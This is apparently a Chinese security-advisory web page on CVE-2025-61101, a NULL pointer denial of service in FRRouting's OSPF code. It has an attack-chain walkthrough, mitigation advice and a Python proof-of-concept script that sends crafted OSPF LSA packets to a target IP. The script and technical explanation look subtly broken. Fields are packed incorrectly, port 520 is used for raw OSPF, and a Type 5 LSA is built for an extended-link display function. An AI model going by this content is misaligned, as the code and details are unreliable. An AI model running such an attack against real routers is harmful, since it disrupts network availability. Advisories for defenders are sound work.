IPBUF安全漏洞报告
English
CVE-2025-61101 CVSS 7.5 高危

CVE-2025-61101 FRRouting ospf_ext.c NULL指针解引用导致拒绝服务

披露日期: 2025-10-27

漏洞信息

漏洞编号
CVE-2025-61101
漏洞类型
拒绝服务
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
FRRouting/frr

相关标签

拒绝服务NULL指针解引用FRRoutingFRRouting/frrOSPF路由协议高危漏洞CVE-2025-61101网络协议栈漏洞

漏洞概述

CVE-2025-61101是FRRouting/frr路由软件中的一个高危拒绝服务漏洞。该漏洞存在于ospf_ext.c文件的show_vty_ext_link_rmt_itf_addr函数中,由于对NULL指针的错误解引用,攻击者可以通过发送精心构造的OSPF数据包来触发该漏洞。FRRouting是一个开源的IP路由协议套件,实现了OSPF、 RIP、BGP、IS-IS等多种路由协议,广泛应用于企业网络和运营商环境中。该漏洞影响版本从v4.0到v10.4.1,由于OSPF协议是内部网络通信的核心协议,攻击者可以利用此漏洞造成路由服务中断,影响网络的可达性和稳定性。CVSS评分7.5,属于高危级别漏洞,无需认证即可远程利用,对可用性造成严重影响。

技术细节

该漏洞的根本原因在于FRRouting的OSPF扩展功能实现中,show_vty_ext_link_rmt_itf_addr函数在处理外部链路远程接口地址时未进行充分的NULL指针检查。当函数接收到异常或恶意构造的OSPF数据包时,相关指针变量可能为NULL,但代码直接对其进行了解引用操作,导致程序崩溃。在OSPF协议处理流程中,外部链路信息(External Link)用于描述ASBR(自治系统边界路由器)引入的外部路由信息。攻击者通过在OSPF LSA(链路状态通告)中注入恶意构造的外部链路数据,触发目标函数在处理这些数据时的NULL指针解引用。由于OSPF协议在设计上信任邻居路由器发送的链路状态信息,且该漏洞位于VTY接口输出函数中,攻击者可以通过建立OSPF邻居关系后发送特制数据包来触发漏洞利用。

攻击链分析

STEP 1
步骤1
攻击者识别目标网络上运行存在漏洞版本FRRouting/frr(v4.0-v10.4.1)的设备
STEP 2
步骤2
攻击者与目标建立OSPF邻居关系,通过正常的OSPF Hello报文协商邻居
STEP 3
步骤3
攻击者构造包含异常外部链路数据的AS-External LSA(Type 5),特别针对show_vty_ext_link_rmt_itf_addr函数
STEP 4
步骤4
攻击者将恶意LSA通过OSPF LSA Update消息发送到目标设备
STEP 5
步骤5
目标FRRouting处理恶意LSA时,触发ospf_ext.c中的NULL指针解引用
STEP 6
步骤6
程序崩溃并终止,导致路由服务中断,造成拒绝服务

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import socket import struct import sys # OSPF Header Structure def build_ospf_header(ospf_type, payload): version = 2 # OSPFv2 msg_type = ospf_type length = 24 + len(payload) # OSPF header (24 bytes) + payload router_id = b'\xc0\xa8\x01\x01' # Attacker's router ID area_id = b'\xc0\xa8\x01\x00' # Area ID checksum = 0 auth_type = 0 auth = b'\x00' * 8 header = struct.pack('!BBHIIIIHH', version, msg_type, length, router_id[0]*256+router_id[1], router_id[2]*256+router_id[3], area_id[0]*256+area_id[1], area_id[2]*256+area_id[3], checksum, auth_type) header += auth return header # Build malformed OSPF External LSA to trigger NULL pointer dereference def build_malformed_external_lsa(): # LSA header ls_age = 1 options = 0x22 ls_type = 5 # AS-External LSA link_state_id = 1 advertising_router = struct.pack('!I', 0xC0A80102) ls_sequence = 0x80000001 ls_checksum = 0 length = 36 + 20 # header + external link data lsa_header = struct.pack('!HHIII', ls_age, options, ls_type, link_state_id, advertising_router[0]*256+advertising_router[1]) lsa_header += struct.pack('!II', advertising_router[2]*256+advertising_router[3], ls_sequence) lsa_header += struct.pack('!HH', ls_checksum, length) # Malformed external link data to trigger NULL pointer in show_vty_ext_link_rmt_itf_addr # Set network mask to 0 and external route type to cause NULL pointer dereference network_mask = b'\x00\x00\x00\x00' # NULL mask to trigger vulnerability ebit_tos = 0x80 # E-bit set metric = struct.pack('!I', 1) forwarding_address = b'\x00\x00\x00\x00' # NULL forwarding address external_route_tag = struct.pack('!I', 0) payload = network_mask + struct.pack('!B', ebit_tos) + metric + forwarding_address + external_route_tag return lsa_header + payload def exploit(target_ip, target_port=520): sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, 89) # OSPF protocol sock.setsockopt(socket.SOL_IP, socket.IP_HDRINCL, 1) lsa_payload = build_malformed_external_lsa() ospf_header = build_ospf_header(4, lsa_payload) # Type 4: LSA Update packet = ospf_header + lsa_payload print(f'[+] Sending malicious OSPF packet to {target_ip}') sock.sendto(packet, (target_ip, target_port)) print('[+] Packet sent. Target may crash due to NULL pointer dereference.') sock.close() if __name__ == '__main__': if len(sys.argv) < 2: print(f'Usage: {sys.argv[0]} <target_ip>') sys.exit(1) exploit(sys.argv[1])

影响范围

FRRouting/frr v4.0 到 v10.4.1

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1)严格限制OSPF邻居关系,仅允许授权路由器建立邻居;2)启用OSPF MD5或HMAC-SHA256认证,防止攻击者伪造OSPF数据包;3)通过网络访问控制列表(ACL)限制OSPF协议端口(IP协议号89)的访问;4)监控FRRouting进程状态,设置异常告警;5)考虑使用其他路由软件临时替代;6)如果业务允许,禁用不必要的OSPF外部路由导入功能。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表